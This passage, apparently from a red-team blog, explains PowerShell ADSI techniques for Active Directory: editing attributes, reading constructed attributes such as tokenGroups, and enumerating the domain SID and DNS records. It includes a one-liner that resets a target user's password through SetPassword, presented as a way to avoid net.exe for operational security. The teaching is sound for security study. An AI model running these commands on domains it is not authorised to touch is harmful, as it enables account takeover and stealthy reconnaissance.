class=&quot;nf&quot;&gt;Value&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;Nothing interesting here.&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$entry&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;CommitChanges&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;

&lt;/span&gt;&lt;span class=&quot;c&quot;&gt;#Modify the property of multiple objects&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;adsisearcher&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]::&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;new&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;([&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;adsi&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;LDAP://domain.local&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;(ObjectCategory=user)&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;FindAll&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;|&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ForEach-Object&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$entry&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;bp&quot;&gt;$_&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;GetDirectoryEntry&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$entry&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Properties&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;description&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;Value&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;Nothing interesting here.&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$entry&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;CommitChanges&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()}&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;blockquote&gt;
  &lt;p&gt;Don’t forget to commit changes after updating the attribute, otherwise all uncommitted changes will be lost.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h3 id=&quot;adsi-feature&quot;&gt;ADSI Feature&lt;/h3&gt;

&lt;p&gt;SDS provides a .NET wrapper around some but not all of the ADSI interfaces. Occasionally, it is necessary to use some of the interfaces only defined in ADSI to handle some specific data types or perform some specific operations. Reflection would be the key to ADSI.&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;Reflection is essentially the ability to discover information about a type at runtime and to call members on that type.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Essentially, we can use three methods from the DirectoryEntry object, namely Invoke, InvokeGet and InvokeSet to access ADSI features within .NET.&lt;/p&gt;

&lt;p&gt;The Invoke method is a wrapper that allows us to invoke methods exposed by the various IADs* interfaces via late binding using the .NET reflection system under the hood. It takes the name of the method to invoke and an array of objects that defines the list as its parameter.&lt;/p&gt;

&lt;p&gt;InvokeGet and InvokeSet methods allow us to get and set the ADSI property value respectively. However, according to Microsoft, these two methods should not be used (see &lt;a href=&quot;https://docs.microsoft.com/en-us/dotnet/api/system.directoryservices.directoryentry.invokeget?view=net-5.0&quot;&gt;here&lt;/a&gt; and &lt;a href=&quot;https://docs.microsoft.com/en-us/dotnet/api/system.directoryservices.directoryentry.invokeset?view=net-5.0&quot;&gt;here&lt;/a&gt;). Of course we “can” still use them, see below comparison with “Properties”&lt;/p&gt;

&lt;div class=&quot;language-powershell highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c&quot;&gt;#InvokeGet&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;adsisearcher&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]::&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;new&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;([&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;adsi&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;LDAP://domain.local&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;(name=targetuser)&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;FindOne&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;GetDirectoryEntry&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;InvokeGet&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;servicePrincipalName&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;

&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;adsisearcher&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]::&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;new&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;([&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;adsi&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;LDAP://domain.local&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;(name=targetuser)&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;FindOne&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;GetDirectoryEntry&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Properties&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;servicePrincipalName&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;

&lt;/span&gt;&lt;span class=&quot;c&quot;&gt;#InvokeSet&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$entry&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;adsisearcher&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]::&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;new&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;([&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;adsi&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;LDAP://domain.local&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;(name=targetuser)&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;FindOne&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;GetDirectoryEntry&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$entry&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;InvokeSet&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;servicePrincipalName&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;customspn/targetuser&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$entry&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;CommitChanges&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;

&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$entry&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;adsisearcher&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]::&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;new&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;([&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;adsi&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;LDAP://domain.local&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;(name=targetuser)&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;FindOne&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;GetDirectoryEntry&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$entry&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Properties&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;servicePrincipalName&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;Value&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;customspn/targetuser&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$entry&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;CommitChanges&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The “Properties” gets the Active Directory Domain Services properties for the DirectoryEntry object whereas the “InvokeGet”/”InvokeSet” gets/sets a property from the native Active Directory Domain Services object.&lt;/p&gt;

&lt;p&gt;They are not recommended to use because of the property cache mechanism (Feel free to correct me if I’m wrong). For example, the InvokeGet method retrieves the value from the property cache. You may encounter an error like “The directory property cannot be found in cache” if the cache is not loaded. In comparison, accessing the DirectoryEntry object attribute “Properties” will force the cache to be filled.&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;The .NET Developers Guide to Directory Services Programming: “ADSI maintains a property cache of values for an object from the directory. The property cache contains an in-memory representation of the data on the server. All reads and writes are performed on the local cache and updates do not take effect until the cache is flushed. The property cache can be filled using the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;RefreshCache&lt;/code&gt; method. Calling RefreshCache with no arguments will cause all of the nonconstructed attributes for the object to be loaded. Calling RefreshCache with arguments allows us to load specific attributes we want into the cache. It also allows us to load a special type of Active Directory and ADAM attribute called a constructed attribute. Constructed attributes are not actually stored in the directory but are calculated on the fly by the directory.”&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;RefreshCache is extremely useful if we need certain constructed attributes of objects in the domain. For instance, ADCollector is able to enumerate nested group membership of domain objects. It does not simply retrieve the “memberOf” attribute of objects because this attribute only stores object’s direct group membership. Instead, the “tokenGroups” attribute is retrieved since it holds both direct group membership and the recursive list of nested groups. It is a constructed attribute, its value will be calculated only when we read it. Thus, we need to use RefreshCache to load the attribute in the property cache. Here’s a simple oneliner to get the nested group membership of the target object:&lt;/p&gt;

&lt;div class=&quot;language-powershell highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nv&quot;&gt;$entry&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;adsisearcher&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]::&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;new&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;([&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;adsi&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;LDAP://domain.local&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;(name=myuser)&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;FindOne&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;GetDirectoryEntry&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$entry&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;RefreshCache&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;tokengroups&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$entry&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Properties&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;tokengroups&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;o&quot;&gt;|&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ForEach-Object&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$sid&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;New-Object&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;System.Security.Principal.SecurityIdentifier&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;bp&quot;&gt;$_&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;toString&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;New-Object&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;System.Security.Principal.SecurityIdentifier&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$sid&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;Translate&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;([&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;System.Security.Principal.NTAccount&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;])}&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Back to the Invoke method, it could be quite handy in some cases comparing to the “not recommended” InvokeGet/InvokeSet. For example, ADSI has a interface called &lt;a href=&quot;https://docs.microsoft.com/en-us/windows/win32/api/iads/nn-iads-iadsuser&quot;&gt;IADsUser&lt;/a&gt;, which allows us to access and manipulate end-user account data. One notable method is “SetPassword”, it attempts to modify the password with different methods. First it will use the LDAP over SSL to set the password. If if failed, it will use Kerberos set password protocol to modify the password. And if that also failed, a Net* API remote procedure call will be initiated to set the password.&lt;/p&gt;

&lt;p&gt;Imagine a scenario: During a red team engagement, you find that you have the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ForceChangePassword&lt;/code&gt; permission on the target user from the BloodHound. But you cannot use the net.exe binary or for the sake of operations security, you want to avoid using the native net.exe. You can use the SetPassword method. SDS does not include a wrapper around the IADsUser interface, but we can use the Invoke method to call this ADSI method via late-bound reflection:&lt;/p&gt;

&lt;div class=&quot;language-powershell highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;adsisearcher&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]::&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;new&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;([&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;adsi&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;LDAP://domain.local&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;(name=targetuser)&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;FindOne&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;GetDirectoryEntry&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;Invoke&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;setPassword&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;newpassword&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h4 id=&quot;sample-commands&quot;&gt;Sample Commands&lt;/h4&gt;

&lt;p&gt;Here are a few useful commands I use frequently just for reference:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Get Domain SID&lt;/li&gt;
&lt;/ul&gt;

&lt;div class=&quot;language-powershell highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;New-Object&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;System.Security.Principal.SecurityIdentifier&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;([&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;byte&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[]](([&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;adsi&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;LDAP://domain.local&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;Properties&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;objectSID&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;],&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;toString&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;ul&gt;
  &lt;li&gt;Get DNS Records&lt;/li&gt;
&lt;/ul&gt;

&lt;div class=&quot;language-powershell highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;p&quot;&gt;([&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;adsisearcher&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]::&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;new&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(([&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;adsi&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;LDAP://DC=DomainDnsZones,DC=domain,DC=local&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;),&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;(&amp;amp;(objectClass=*)(!(DC=@))(!(DC=*DnsZones))(!(DC=*arpa))(!(DC=_*))(!dNSTombstoned=TRUE))&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;FindAll&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;o&quot;&gt;|&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;kr&quot;&gt;foreach&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;bp&quot;&gt;$_&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Properties&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;name&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;kr&quot;&gt;try&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$dnsByte&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;byte&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[]](&lt;/span&gt;&lt;span class=&quot;bp&quot;&gt;$_&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Properties&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;dnsrecord&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;][&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]);&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;kr&quot;&gt;if&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;([&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;int&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$dnsByte&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;{0}.{1}.{2}.{3}&quot;&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;-f&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$dnsByte&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;24&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;],&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$dnsByte&lt;/span&gt;&lt;span 